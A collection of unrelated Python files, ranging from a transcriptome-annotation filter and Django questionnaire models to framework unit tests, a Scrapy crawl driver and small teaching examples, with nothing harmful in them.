"""
Author: Nesterenko Maksim
E-mail: maxnest@ro.ru
Organization: St.Petersburg State University, Russia
Department: Department of Invertebrate zoology
Data: 01.05.2018
"""

try:
    import argparse
except ImportError:
    print("Please check if module 'argparse' is installed")
    quit()

parser = argparse.ArgumentParser()
parser.add_argument('--tab', type=argparse.FileType('r'), required=True,
                    help="table with groups of similar sequences "
                         "[Transcriptologs.py (Ambrosino and Chiusano, 2017) output file]")
parser.add_argument('--sample_1_anno', type=argparse.FileType('r'), required=True,
                    help="file with annotation for first sample "
                         "[FunctionAnnotator (Chen et al., 2017) output file: 'AnnotationTable']")
parser.add_argument('--sample_1_tag', type=str, required=True, help="tag for first sample [for instance 'Psilo_ref']")
parser.add_argument('--sample_2_anno', type=argparse.FileType('r'), required=True,
                    help="file with annotation for second sample "
                         "[FunctionAnnotator (Chen et al., 2017) output file: 'AnnotationTable']")
parser.add_argument('--sample_2_tag', type=str, required=True, help="tag for second sample [for instance 'Sphaer_ref']")
parser.add_argument('-t', '--tag', type=str, required=True, help="tag for output file")
args = parser.parse_args()

def read_table_with_groups(tab, group_dict, all_values):
    """
    The function reads table with groups of ortho|homologs contigs and write them to new python dictionary.
    Last one have next structure: key = group name;
    value for this key = python dictionary, where contigs is a keys and values for each of them is empty list.
    @param tab: table with groups of similar contigs
    @param group_dict: python dictionary
    @param all_values: python list
    """
    head = tab.readline()
    number = 1
    for line in tab:
        group_description = line.strip().split("\t")
        seq_1, seq_2 = group_description[0], group_description[1]
        group_dict["group_{num}".format(num=number)] = {seq_1: [], seq_2: []}
        number += 1
        all_values.extend([seq_1, seq_2])

def read_and_append_annotation(group_dict, file_with_annotation, all_values):
    """
    The function reads table with sample annotation
    and appends ID of potential protein in python dictionary with group of similar contigs
    @param group_dict: previously created python dictionary with groups
    @param file_with_annotation: table with annotation for transcriptome
    @param all_values: previously created python list with IDs of all contigs from dictionary with groups
    """
    head = file_with_annotation.readline()
    for line in file_with_annotation:
        contig_description = line.strip().split("\t")
        contig_id, best_hit = contig_description[0], contig_description[2]
        if contig_id in all_values:
            for group, contigs in group_dict.items():
                if contig_id in contigs:
                    group_dict[group][contig_id].append(best_hit)

def check_groups(group_dict, new_dict):
    """
    The function checks each group and select only groups where all contig have same annotation
    @param group_dict: python dictionary with groups and annotation
    @param new_dict: python dictionary with groups of correct ortho|homologs
    """
    unknown_hit = 1
    for group, contigs in group_dict.items():
        annotations = []
        for contig in contigs:
            annotations.append(group_dict[group][contig][0])
        if len(set(annotations)) == 1:
            if annotations[0] != "-":
                new_dict[annotations[0]] = {contig for contig in contigs}
            else:
                new_dict["unknown_hit_{num}".format(num=unknown_hit)] = {contig for contig in contigs}
                unknown_hit += 1

def write_output(new_dict, sample_1_tag, sample_2_tag, tag):
    with open("{tag}.tab".format(tag=tag), 'a') as output:
        output.write("Group_annotation\t{Sample_1_tag}\t{Sample_2_tag}\n".format(
                      Sample_1_tag=sample_1_tag, Sample_2_tag=sample_2_tag))
        for annotation, values in new_dict.items():
            sample_1_contig, sample_2_contig = "", ""
            for value in values:
                if sample_1_tag in value:
                    sample_1_contig += value
                elif sample_2_tag in value:
                    sample_2_contig += value
            output.write("{annotation}\t{sample_1_contig}\t{sample_2_contig}\n".format(
                          annotation=annotation, sample_1_contig=sample_1_contig, sample_2_contig=sample_2_contig))

if __name__ == "__main__":
    group_dict, new_dict, all_values = {}, {}, []
    print("***** Step 1: The script parses table with ortho|homologs groups *****")
    read_table_with_groups(args.tab, group_dict, all_values)
    print("***** Step 2: The script reads file with annotation for {sample_1} *****".format(sample_1=args.sample_1_tag))
    read_and_append_annotation(group_dict, args.sample_1_anno, all_values)
    print("***** Step 3: The script reads file with annotation for {sample_2} *****".format(sample_2=args.sample_2_tag))
    read_and_append_annotation(group_dict, args.sample_2_anno, all_values)
    print("***** Step 4: The script check annotations in groups of similar sequences*****")
    check_groups(group_dict, new_dict)
    print("***** Step 5: {tag} output file creating *****".format(tag=args.tag))
    write_output(new_dict, args.sample_1_tag, args.sample_2_tag, args.tag)

append_annotation_and_select_correct_groups [For two sample].py


import pandas as pd

def gendict():
    ''' create a dictionary that maps a set of city names into a set of lat/lon values'''
    gpsdf = pd.read_csv('cities_degs.csv')
    d = dict()
    for index, row in gpsdf.iterrows():
        s = row['city']
        s.replace(" ","_")
        d[s] = { 'lat': row['lat'], 'lon': row['lon'] }
    return d


import time
import threading
import queue
import random
class sensor_data1(threading.Thread):
    def __init__(self, queue, lock, isLoop):
        threading.Thread.__init__(self)
        self.queue = queue
        self.lock = lock
        self.isLoop = isLoop
    def run(self):
        print("[INFO] Start the sensor data1")
        while self.isLoop[0]:
 # get sensor data
            val = random.uniform(10.0, 19.0)

 # get lock
            self.lock.acquire()
            self.queue.put(val)

            time.sleep(1.0)

 #release lock
            self.lock.release()

def sensor_data2(data_key, queue, lock, isLoop):
    print("[INFO] Start the sensor data2")
    while isLoop[1]:
 # get sensor data
        val = random.uniform(30.0, 39.0)

        data = {data_key:val}

 # get lock
        lock.acquire()
        queue.put(data)

        time.sleep(1.0)

 #release lock
        lock.release()

def read_kb_key(queue):
    print("[INFO] Start monitor keyborad key input")
    while True:
        cmd = input()
        print(cmd)
        if cmd == 'q':
            queue.put(cmd)
            break

def main():
    lock = threading.Lock()
    sensor_queue = queue.Queue()
    input_queue = queue.Queue()
    isLoop = [True, True]

    sensor_key2 = "temperature"
    sensor1_worker = sensor_data1(sensor_queue, lock, isLoop)
    sensor2_worker = threading.Thread(target=sensor_data2, args=(sensor_key2,sensor_queue, lock, isLoop,))
    monitor_kb_key = threading.Thread(target=read_kb_key, args=(input_queue,))

    sensor1_worker.start()
    sensor2_worker.start()
    monitor_kb_key.start()

    print("Main Loop start")
    while True:
        if sensor_queue.qsize() == 0:
            continue

        val = sensor_queue.get()
        print(f"the sensor data is {val}")

        time.sleep(1.0)
        if input_queue.qsize() > 0 and input_queue.get() == 'q':
            isLoop[0] = False
            isLoop[1] = False
            break

    monitor_kb_key.join()
    sensor2_worker.join()
    sensor1_worker.join()

    print("Done")

if __name__ == '__main__':
    main()


# Given a Binary Tree, print left view of it. Left view of a Binary Tree is
# set of nodes visible when tree is visited from left side.

from TreeNode import *

def left_view(root, level, curr_max):
    if root == None:
        return
    if curr_max < level:  # first time visiting this level
        print(root.data)
        curr_max += 1
    if root.left != None:
        left_view(root.left, level + 1, curr_max)
    else:
        left_view(root.right, level + 1, curr_max)

def left_view_helper(root):
    left_view(root, 1, 0)

def in_order(root):
    if root == None:
        return
    in_order(root.left)
    print(root.data)
    in_order(root.right)

def main():
    one = TreeNode(1)
    three = TreeNode(3)
    #two = TreeNode(2, one, three)
    five = TreeNode(5)
    seven = TreeNode(7)
    six = TreeNode(6, five, seven)
    root = TreeNode(4, None, six)
    left_view_helper(root)
    #in_order(root)

main()


from django.conf.urls import patterns, include, url
from employees import views
from django.contrib import admin
admin.autodiscover()

urlpatterns = patterns('',
    # Examples:
    # url(r'^$', 'holiday_planner.views.home', name='home'),
    # url(r'^blog/', include('blog.urls')),

    url(r'^admin/', include(admin.site.urls)),
    url(r'^$', views.index),
    url(r'^login/', views.login_user),
    url(r'^profile/(?P<user>\w+)/$', views.profile, name='profile'),
    (r'^calendar/', include('django_bootstrap_calendar.urls')),
    url(r'^manager/(?P<user>\w+)/$', views.manager, name='manager'),
)


#   Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import paddle.fluid as fluid
import numpy as np
import unittest

class TestOpNameConflict(unittest.TestCase):
    def test_conflict(self):
        main = fluid.Program()
        startup = fluid.Program()
        with fluid.unique_name.guard():
            with fluid.program_guard(main, startup):
                x = fluid.data(name="x", shape=[1], dtype='float32')
                y = fluid.data(name="y", shape=[1], dtype='float32')
                z = fluid.data(name="z", shape=[1], dtype='float32')

                m = fluid.layers.elementwise_add(x, y, name="add")
                n = fluid.layers.elementwise_add(y, z, name="add")
                p = m + n

                place = fluid.CPUPlace()
                exe = fluid.Executor(place)
                m_v, n_v, p_v = exe.run(feed={
                    "x": np.ones((1), "float32") * 2,
                    "y": np.ones((1), "float32") * 3,
                    "z": np.ones((1), "float32") * 5
                },
                                        fetch_list=[m, n, p])

                self.assertEqual(m_v[0], 5.0)
                self.assertEqual(n_v[0], 8.0)
                self.assertEqual(p_v[0], 13.0)

    def test_layers(self):
        main = fluid.Program()
        startup = fluid.Program()
        with fluid.unique_name.guard():
            with fluid.program_guard(main, startup):
                place = fluid.CUDAPlace(0) if fluid.core.is_compiled_with_cuda(
                ) else fluid.CPUPlace()
                exe = fluid.Executor(place)

                data = fluid.data(
                    name='data', shape=[None, 1, 2, 2], dtype='float32')
                tensor = fluid.data(
                    name='tensor', shape=[None, 32, 64], dtype='float32')
                x = fluid.data(
                    name='x', shape=[None, 1], dtype='float32', lod_level=1)

                input_scale = fluid.layers.create_parameter(
                    shape=[1],
                    dtype="float32",
                    default_initializer=fluid.initializer.Constant(2.0))
                input_bias = fluid.layers.create_parameter(
                    shape=[1],
                    dtype="float32",
                    default_initializer=fluid.initializer.Constant(0.5))
                out_affine = fluid.layers.affine_channel(
                    data, scale=input_scale, bias=input_bias)
                out_similarity = fluid.layers.similarity_focus(
                    input=data, axis=1, indexes=[0])
                position_tensor = fluid.layers.add_position_encoding(
                    input=tensor, alpha=1.0, beta=1.0)
                x_reversed = fluid.layers.sequence_reverse(x)

                exe.run(fluid.default_startup_program())
                test_program = fluid.default_main_program().clone(for_test=True)

                x_d = fluid.create_lod_tensor(
                    np.array([[1.1], [2.2], [3.3], [4.4]]).astype('float32'),
                    [[1, 3]], place)
                outs = exe.run(
                    test_program,
                    fetch_list=[
                        out_affine, out_similarity, position_tensor, x_reversed
                    ],
                    feed={
                        data.name: np.ones([1, 1, 2, 2]).astype('float32'),
                        tensor.name: np.ones([1, 32, 64]).astype('float32'),
                        x.name: x_d
                    },
                    return_numpy=False)

if __name__ == '__main__':
    unittest.main()


#!/usr/bin/env python
import random, rospy
from jumpingmario.msg import Marioloc
from std_msgs.msg import Bool

def callback(data):
    global jump
    jump = data

def talker():
    global jump
    # jump = Bool()

    pub = rospy.Publisher('mario_locations', Marioloc, queue_size=2)
    rospy.init_node('mario_location_radio', anonymous=True)
    r = rospy.Rate(5) #10hz

    msg = Marioloc()

    sub = rospy.Subscriber("mario_calc", Bool, callback)

    while not rospy.is_shutdown():
        msg.mario_y = random.randrange(1,20)
        msg.mushroom_x =  random.randrange(20,30)
        msg.mushroom_speed = random.random()

        rospy.loginfo(msg)
        pub.publish(msg)
        # print(jump)
        r.sleep()
    # rospy.spin()

if __name__ == '__main__':
    try:
        talker()
    except rospy.ROSInterruptException: pass


# define a function that takes variable arguments
def addition(base, *args):
    result = 0
    for arg in args:
        result += arg

    return result

def myFun(**kwargs):
    for key, value in kwargs.items():
        print("%s == %s" %(key, value))

def intro(**data):
    print("\nData type of argument:",type(data))

    for key, value in data.items():
        print("{} is {}".format(key,value))

def main():
    # pass different arguments
    print(addition(5, 10, 15, 20))
    print(addition(1, 2, 3))

    # pass an existing list
    myNums = [5, 10, 15, 20]
    print(addition(*myNums))

    # **kwargs, it allows us to pass the variable length of keyword arguments to the function.
    myFun(first ='Geeks', mid ='for', last='Geeks')
    intro(Firstname="Sita", Lastname="Sharma", Age=22, Phone=1234567890)
    intro(Firstname="John", Lastname="Wood", Email="johnwood@nomail.com", Country="Wakanda", Age=25, Phone=9876543210)

if __name__ == "__main__":
    main()


#!/usr/bin/env python

from __future__ import absolute_import
from __future__ import print_function
import pytest
from aiida_kkr.tests.dbsetup import *

# tests
@pytest.mark.usefixtures("aiida_env")
class Test_dos_workflow():
    """
    Tests for the kkr_startpot workflow
    """

    @pytest.mark.timeout(240, method='thread')
    def test_dos_wc_Cu(self):
        """
        simple Cu noSOC, FP, lmax2 full example using scf workflow
        """
        from aiida import get_version
        from aiida.orm import Code, load_node
        from aiida.plugins import DataFactory
        from aiida.orm import Computer
        from aiida.orm.querybuilder import QueryBuilder
        from masci_tools.io.kkr_params import kkrparams
        from aiida_kkr.workflows.dos import kkr_dos_wc
        from numpy import array

        print('AiiDA version: {}'.format(get_version()))

        Dict = DataFactory('dict')
        StructureData = DataFactory('structure')

        # prepare computer and code (needed so that
        prepare_code(kkr_codename, codelocation, computername, workdir)

        # Then set up the structure
        alat = 6.83 # in a_Bohr
        abohr = 0.52917721067 # conversion factor to Angstroem units
        bravais = array([[0.5, 0.5, 0.0], [0.5, 0.0, 0.5], [0.0, 0.5, 0.5]])# bravais vectors
        a = 0.5*alat*abohr
        Cu = StructureData(cell=[[a, a, 0.0], [a, 0.0, a], [0.0, a, a]])
        Cu.append_atom(position=[0.0, 0.0, 0.0], symbols='Cu')

        Cu.store()
        print(Cu)

        # here we create a parameter node for the workflow input (workflow specific parameter) and adjust the convergence criterion.
        wfd = kkr_dos_wc.get_wf_defaults()
        wfd['dos_params']['kmesh'] = [10, 10, 10]
        wfd['dos_params']['nepts'] = 10
        params_dos = Dict(dict=wfd)

        options = {'queue_name' : queuename, 'resources': {"num_machines": 1}, 'max_wallclock_seconds' : 5*60, 'use_mpi' : False, 'custom_scheduler_commands' : ''}
        options = Dict(dict=options)

        # The scf-workflow needs also the voronoi and KKR codes to be able to run the calulations
        KKRCode = Code.get_from_string(kkr_codename+'@'+computername)

        label = 'dos Cu bulk'
        descr = 'DOS workflow for Cu bulk'

        from aiida.tools.importexport import import_data
        import_data('files/db_dump_kkrcalc.tar.gz')
        kkr_calc_remote = load_node('3058bd6c-de0b-400e-aff5-2331a5f5d566').outputs.remote_folder

        # create process builder to set parameters
        builder = kkr_dos_wc.get_builder()
        builder.metadata.description = descr
        builder.metadata.label = label
        builder.kkr = KKRCode
        builder.wf_parameters = params_dos
        builder.options = options
        builder.remote_data = kkr_calc_remote

        # now run calculation
        from aiida.engine import run
        out = run(builder)

        # check outcome
        n = out['results_wf']
        n = n.get_dict()
        assert n.get('successful')
        assert n.get('list_of_errors') == []
        assert n.get('dos_params').get('nepts') == 10

        d = out['dos_data']
        x = d.get_x()
        y = d.get_y()

        assert sum(abs(x[1][0] - array([-19.24321191, -16.2197246 , -13.1962373 , -10.17274986, -7.14926255,  -4.12577525,  -1.10228794,   1.9211995 , 4.94468681,   7.96817411]))) < 10**-7
        assert sum(abs(y[0][1][0] - array([  9.86819781e-04,   1.40981029e-03,   2.27894713e-03,         4.79231363e-03,   3.59368494e-02,   2.32929524e+00,         3.06973485e-01,   4.17629157e-01,   3.04021941e-01,         1.24897739e-01]))) < 10**-8

#run test manually
if __name__=='__main__':
   from aiida import load_profile
   load_profile()
   Test = Test_dos_workflow()
   Test.test_dos_wc_Cu()


#!/usr/bin/env python

from __future__ import print_function

import argparse, textwrap
import os, subprocess
import yaml
import time, datetime

conf_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../conf')
feeds_conf = os.path.join(conf_dir, 'feeds.yml')
sites_conf = os.path.join(conf_dir, 'sites.yml')
feeds = []
sites = []

def crawl(spider=None, crawl_list=[]):
  load_urls(crawl_list)

  i = 0
  while True:
    try:
      start_time = datetime.datetime.now()
      print('Crawler starts at %s. iteration %i' % (start_time, i))

      execute_steps(spider)
      i += 1

      end_time = datetime.datetime.now()
      elapsed = (end_time - start_time).total_seconds()
      sleep_time = max(0, 6*60*60 - elapsed)

      print('Crawler finished at %s' % end_time)
      print('Total elapsed %f sec' % elapsed)
      print('Sleeping %s sec (till %s)' % (sleep_time, end_time + datetime.timedelta(seconds=sleep_time)))
      time.sleep(sleep_time)
    except KeyboardInterrupt:
      break

def recrawl(step, crawl_id):
  start_time = datetime.datetime.now()
  print('Process %s from %s step' % (crawl_id, step))

  if step == 'fetch':
    fetch(crawl_id)
    parse(crawl_id)
    #deepparse(crawl_id)
    updatedb(crawl_id)
  elif step == 'parse':
    parse(crawl_id)
    #deepparse(crawl_id)
    updatedb(crawl_id)
  elif step == 'deepparse':
    deepparse(crawl_id)
    updatedb(crawl_id)
  elif step == 'updatedb':
    updatedb(crawl_id)
  else:
    raise Exception('Recrawl from %s not supprted' % step)

  end_time = datetime.datetime.now()
  elapsed = (end_time - start_time).total_seconds()
  print('Finished at %s' % end_time)
  print('Total elapsed %f sec' % elapsed)

def load_urls(crawl_list):
  load_feed_entries(crawl_list)
  load_sites_entries(crawl_list)

def load_feed_entries(crawl_list):
  f = open(feeds_conf, 'r')
  if hasattr(yaml, 'CLoader'):
    tmp_load = yaml.load(f, Loader=yaml.CLoader)
  else:
    tmp_load = yaml.load(f)

  for feed in tmp_load:
    if not crawl_list or feed['name'] in crawl_list:
      feeds.append(feed)

def load_sites_entries(crawl_list):
  f = open(sites_conf, 'r')
  if hasattr(yaml, 'CLoader'):
    tmp_load = yaml.load(f, Loader=yaml.CLoader)
  else:
    tmp_load = yaml.load(f)

  for site in tmp_load.keys():
    if not crawl_list or site in crawl_list:
      sites.append(site)

def execute_steps(sampler):
  if 'feed' == sampler:
    crawl_feeds()
  elif 'site' == sampler:
    crawl_sites()
  else:
    crawl_feeds()
    crawl_sites()

def crawl_feeds():
  for feed in feeds:
    try:
      inject_feed(feed['name'], feed['type'])
      generate()
      fetch()
      parse()
      #deepparse()
      updatedb()
    except Exception as e:
      print('Failed to crawl %s feed. type=%s, url=%s' % (feed['name'], feed['type'], feed['url']))
      print(e)

def crawl_sites():
  for site in sites:
    try:
      inject_site(site)
      generate()
      fetch()
      parse()
      updatedb()
    except Exception as e:
      print('Failed to crawl %s' % site)
      print(e)

def inject_feed(feed_name, feed_type):
  call_scrapy(['scrapy',
    'crawl',
    feed_type,
    '-a',
    'n=%s' % feed_name,
#    '--nolog'
  ])

def inject_site(site_name):
  call_scrapy(['scrapy',
    'crawl',
    'simple',
    '-a',
    'n=%s' % site_name,
#    '--nolog'
  ])

def generate():
  call_scrapy(['scrapy', 'generate'])

def fetch(crawl_id=None):
  if crawl_id:
    call_scrapy(['scrapy', 'crawl', 'fetch', '--crawl-id', crawl_id])
  else:
    call_scrapy(['scrapy', 'crawl', 'fetch'])

def parse(crawl_id=None):
  if crawl_id:
    call_scrapy(['scrapy', 'parse', 'fetch', '--crawl_id', crawl_id])
  else:
    call_scrapy(['scrapy', 'parse'])

def deepparse(crawl_id=None):
  if crawl_id:
    call_scrapy(['scrapy', 'deepparse', '--crawl-id', crawl_id])
  else:
    call_scrapy(['scrapy', 'deepparse'])

def updatedb(crawl_id=None):
  if crawl_id:
    call_scrapy(['scrapy', 'updatedb', '--crawl-id', crawl_id])
  else:
    call_scrapy(['scrapy', 'updatedb'])

def call_scrapy(args, fail_on_err=True, scrapy_env=os.environ.copy()):
  start = datetime.datetime.now()
  print('[Scrapy] %s %s' % (start, args))

  p = subprocess.Popen(' '.join(args),
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env=scrapy_env)
  stdout, stderr = p.communicate()

  if p.returncode != 0:
    if stderr:
      print(stderr.strip())
    if fail_on_err:
      raise Exception('%s failed with code %i' % (args[0], p.returncode))

  print(stdout.strip())

  end = datetime.datetime.now()
  print('Elapsed %f sec\n' % (end - start).total_seconds())

  return (p.returncode, stdout, stderr)

if __name__ == '__main__':
  parser = argparse.ArgumentParser(
    formatter_class = argparse.RawDescriptionHelpFormatter,
    description=textwrap.dedent("""
      Web corpus sampling crawler
    """)
  )

  parser.add_argument('-p', '--spider', type=str, help='spider name')
  parser.add_argument('-n', '--name', type=str, help='Entry name to crawl')
  parser.add_argument('-s', '--step', type=str, help='Step to run from')
  parser.add_argument('-c', '--crawl-id', type=str, help='crawl_id to process')

  args = parser.parse_args()
  if args.step and args.crawl_id:
    recrawl(args.step, args.crawl_id)
  elif args.step or args.crawl_id:
    raise Exception('Missing step or crawl_id for recrawl')
  else:
    crawl(spider=args.spider if args.spider else None,
        crawl_list=args.name.split() if args.name else [])


""" Contains the database models and access routines for our app.

Purpose: contains the methods for accessing and updating data in the database
Author: Tom W. Hartung
Date: Winter, 2017.
Copyright: (c) 2017 Tom W. Hartung, Groja.com, and JooMoo Websites LLC.
Reference:
  (none, yet)
"""

import os
from django.contrib import messages
from django.db import models
from django.http import QueryDict
from django.utils import timezone

DJANGO_DEBUG = os.environ.get('DJANGO_DEBUG')
RUNNING_LOCALLY = os.environ.get('RUNNING_LOCALLY')

"""
There are 88 questions, and the ones I have the most confidence in are
nearer the beginning, with the "fun," experimental ones at the end.
It is desireable that the number of questions be divisible by 4 but not 8,
so that there is an odd number of questions for each pair of opposites.
"""
TINY = 'T'             # 4 = 1 * 4 (for testing, not available in production)
XX_SMALL = '2XS'       # 12 = 3 * 4
EXTRA_SMALL = 'XS'     # 20 = 5 * 4
SMALL = 'S'            # 28 = 7 * 4
MEDIUM = 'M'           # 44 = 11 * 4
LARGE = 'L'            # 60 = 15 * 4
EXTRA_LARGE = 'XL'     # 76 = 19 * 4
XX_LARGE = '2XL'       # 88 = 22 * 4

class Questionnaire(models.Model):

    """
    Define columns and save a person's questionnaire answers in the database.
    """

    QUIZ_SIZE_CHOICES = (
        (TINY, 'Tiny'),
        (XX_SMALL, '2X Small'),
        (EXTRA_SMALL, 'Extra Small'),
        (SMALL, 'Small'),
        (MEDIUM, 'Medium'),
        (LARGE, 'Large'),
        (EXTRA_LARGE, 'Extra Large'),
        (XX_LARGE, '2X Large'),
    )
    DEFAULT_QUIZ_SIZE = MEDIUM
    DEFAULT_QUIZ_SIZE_SLUG = 'medium'
    QUIZ_VERSION = '1.0'

    name = models.CharField(
            blank=True,
            default='',
            max_length=200)
    email = models.EmailField(
            blank=False,
            db_index=True,
            max_length=200,
            unique=True)
    size = models.CharField(
            choices=QUIZ_SIZE_CHOICES,
            default=DEFAULT_QUIZ_SIZE,
            max_length=3)
    version = models.CharField(
            default=QUIZ_VERSION,
            max_length=10)
    date_created = models.DateTimeField(
            default=timezone.now)
    date_updated = models.DateTimeField(
            default=timezone.now)

    def save_questionnaire(self, cleaned_data, quiz_size_slug=DEFAULT_QUIZ_SIZE_SLUG):
        """
        If we have an email, save the questionnaire data, along with the answers
        There is no sense saving it if we do not have an email address!
        (We also do this check in the view, so it's redundant I know.)
        Note: the validation criteria for emails used by the db is stronger
            than it is for forms...!
        """
        email = cleaned_data['email']
        if email == '':
            return False

        existing_questionnaire = self.load_questionnaire(email)

        if existing_questionnaire != None:
            self.id = existing_questionnaire.id

        name = cleaned_data['name']
        self.name = name
        self.email = email
        self.size = self.get_quiz_size_abbr_for_slug(quiz_size_slug)
        self.save()
        # print('Questionnaire.save_questionnaire - saved:', self.__str__())

        for form_field_name in sorted(cleaned_data):
            if form_field_name.startswith("question_"):
                question_int = int(form_field_name.replace("question_", ""))
                answer_str = cleaned_data[form_field_name]
                answer_int = int(answer_str)
                answer_db = Answer()
                answer_db.save_answer(self.id, question_int, answer_int)
        return self

    def add_answers(self, email, request):
        """ Load answers from db and add them to the request.POST """
        questionnaire = self.load_questionnaire(email)
        answers_dict = self.load_answers(questionnaire, request)
        #
        # If there are no answers found,
        #   return only the name email address in the request
        #
        if answers_dict == None:
            not_found_msg = 'Unable to find questionnaire for ' + email
            messages.add_message(request, messages.ERROR, not_found_msg)
            new_request_data = QueryDict('', mutable=True)
            new_data = {
                'name': request.POST['name'],
                'email': request.POST['email'],
            }
            new_request_data.update(new_data)
        else:
            new_request_data = request.POST.copy()
            if new_request_data['name'] == '':
                new_request_data['name'] = questionnaire.name
            for question_key in answers_dict:
                new_request_data[question_key] = answers_dict[question_key]

        return new_request_data

    def load_answers(self, questionnaire, request):
        """ Load and return the answers for the passed-in questionnaire """
        ans_query_set = None

        if questionnaire == None:
            answers_dict = None
        else:
            answers_dict = {}
            try:
                ans_query_set = Answer.objects.filter(questionnaire=questionnaire)
            except BaseException as exc:
                print('Questionnaire.load_answers ERROR',
                    '(questionnaire = "' + questionnaire + '"):',
                    'Questionnaire found but unable to get ans_query_set!',
                    'exc: "' + str(exc) + '"')

        if ans_query_set != None:
            for ans in ans_query_set:
                question_no_str = str(ans.question_id)
                question_no_2_chars = question_no_str.zfill(2)
                question_key = 'question_' + question_no_2_chars
                answer_str = str(ans.answer)
                # print('Questionnaire - question_key-str(answer_list):',
                #    question_key + '-' + str(answer_str))
                answers_dict[question_key] = answer_str

        return answers_dict

    def load_questionnaire(self, email):
        """ Load and return the questionnaire for the passed-in email """
        try:
            questionnaire = Questionnaire.objects.get(email__iexact=email)
        except:
            questionnaire = None
        return questionnaire

    @classmethod
    def get_quiz_size_slugs_list(cls):
        """ Returns a list of the available quiz size choices """
        quiz_size_slugs = []

        if RUNNING_LOCALLY:
            quiz_size_slugs.append('tiny')

        quiz_size_slugs.append('xx-small')
        quiz_size_slugs.append('extra-small')
        quiz_size_slugs.append('small')
        quiz_size_slugs.append('medium')
        quiz_size_slugs.append('large')
        quiz_size_slugs.append('extra-large')
        quiz_size_slugs.append('xx-large')
        return quiz_size_slugs

    @classmethod
    def get_quiz_menu_data(cls):
        """ Returns a list of the quiz size data needed to create the menu """
        quiz_menu_data = []
        quiz_size_slugs = cls.get_quiz_size_slugs_list()

        for quiz_size_slug in quiz_size_slugs:
            size_text = cls.get_quiz_size_text_for_slug(quiz_size_slug)
            quiz_menu_data.append([quiz_size_slug, size_text])

        return quiz_menu_data

    @classmethod
    def get_quiz_list_data(cls):
        quiz_size_slugs = cls.get_quiz_size_slugs_list()
        quiz_list_data = []

        for quiz_size_slug in quiz_size_slugs:
            size_text = cls.get_quiz_size_text_for_slug(quiz_size_slug)
            question_count = cls.get_question_count_for_slug(quiz_size_slug)
            quiz_size_abbr = cls.get_quiz_size_abbr_for_slug(quiz_size_slug)
            button_classes = cls.get_button_classes_for_slug(quiz_size_slug)
            data_for_slug = [
                quiz_size_slug,
                size_text,
                question_count,
                quiz_size_abbr,
                button_classes
            ]
            quiz_list_data.append(data_for_slug)

        return quiz_list_data

    @classmethod
    def get_quiz_size_abbr_for_slug(cls, quiz_size_slug):
        """ Returns the corresponding constant for passed in quiz_size_slug """
        quiz_size_constant_for_slug = {
            "tiny": TINY,
            "xx-small": XX_SMALL,
            "extra-small": EXTRA_SMALL,
            "small": SMALL,
            "medium": MEDIUM,
            "large": LARGE,
            "extra-large": EXTRA_LARGE,
            "xx-large": XX_LARGE,
        }
        return quiz_size_constant_for_slug[quiz_size_slug]

    @classmethod
    def get_question_count_for_slug(cls, quiz_size_slug):
        """ Returns the number of questions for passed in quiz_size_slug """
        question_count_for_slug = {
            "tiny": 4,
            "xx-small": 12,
            "extra-small": 20,
            "small": 28,
            "medium": 44,
            "large": 60,
            "extra-large": 76,
            "xx-large": 88,
        }
        return question_count_for_slug[quiz_size_slug]

    @classmethod
    def get_quiz_size_text_for_slug(cls, quiz_size_slug):
        """ Returns the quiz size_text for the passed in quiz_size_slug """
        quiz_size_slugs_to_text = {
            'tiny': 'Tiny',
            'xx-small': '2X Small',
            'extra-small': 'Extra Small',
            'small': 'Small',
            'medium': 'Medium',
            'large': 'Large',
            'extra-large': 'Extra Large',
            'xx-large': '2X Large',
        }
        return quiz_size_slugs_to_text[quiz_size_slug]

    @classmethod
    def get_button_classes_for_slug(cls, quiz_size_slug):
        """ Returns the quiz button_classes for the passed in quiz_size_slug """
        quiz_size_slugs_to_button_classes = {
            'tiny': 'btn btn-danger btn-sm',
            'xx-small': 'btn btn-danger btn-sm',
            'extra-small': 'btn btn-warning btn-sm',
            'small': 'btn btn-warning btn-md',
            'medium': 'btn btn-success btn-md',
            'large': 'btn btn-success btn-md',
            'extra-large': 'btn btn-primary btn-lg',
            'xx-large': 'btn btn-primary btn-lg',
        }
        return quiz_size_slugs_to_button_classes[quiz_size_slug]

    def __str__(self):
        name_email_size = self.name + '/' + self.email + '/' + self.size
        return name_email_size

class Answer(models.Model):

    """ Define a table in which to save each individual answer """

    questionnaire = models.ForeignKey(
        'content.Questionnaire',
        on_delete=models.CASCADE)
    question_id = models.IntegerField(
        default=0,
        db_index=True)
    answer = models.IntegerField(
        default=0)

    def save_answer(self, questionnaire_id, question_id, answer):
        """ Save the questionnaire answers """
        existing_answer = self.load_answer(questionnaire_id, question_id)

        if existing_answer != None:
            self.id = existing_answer.id

        self.questionnaire_id = questionnaire_id
        self.question_id = question_id
        self.answer = answer
        self.save()
        return self

    def load_answer(self, questionnaire_id, question_id):
        """ Load and return the answer for the passed-in ids """
        try:
            existing_answer = Answer.objects.get(
                questionnaire_id=questionnaire_id, question_id=question_id)
        except:
            existing_answer = None
        return existing_answer

    def __str__(self):
        question_id_answer = str(self.question_id) + '/' + str(self.answer)
        return question_id_answer


def is_port_in_use(port):
    # From https://stackoverflow.com/questions/2470971/fast-way-to-test-if-a-port-is-in-use-using-python
    import socket
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        return s.connect_ex(('localhost', port)) == 0

def assign_local_addresses(**kwargs):
    # Given a dictionary containing the number of replicas for each job,
    # creates a local tensorflow cluster argument for a tf.ClusterSpec

    cluster = {}

    start_port = 2000
    interval = 100
    curr_port = start_port

    for job, replicas in kwargs.items():
        cluster[job] = []
        for _ in range(replicas):
            while is_port_in_use(curr_port):
                curr_port += interval
            cluster[job].append(f'localhost:{curr_port}')
            curr_port += interval

    return cluster

def is_tf_tensor(obj):
    import tensorflow as tf
    return isinstance(obj, (tf.Tensor, tf.SparseTensor, tf.Variable))

def is_tf_op(obj):
    import tensorflow as tf
    return isinstance(obj, tf.Operation)

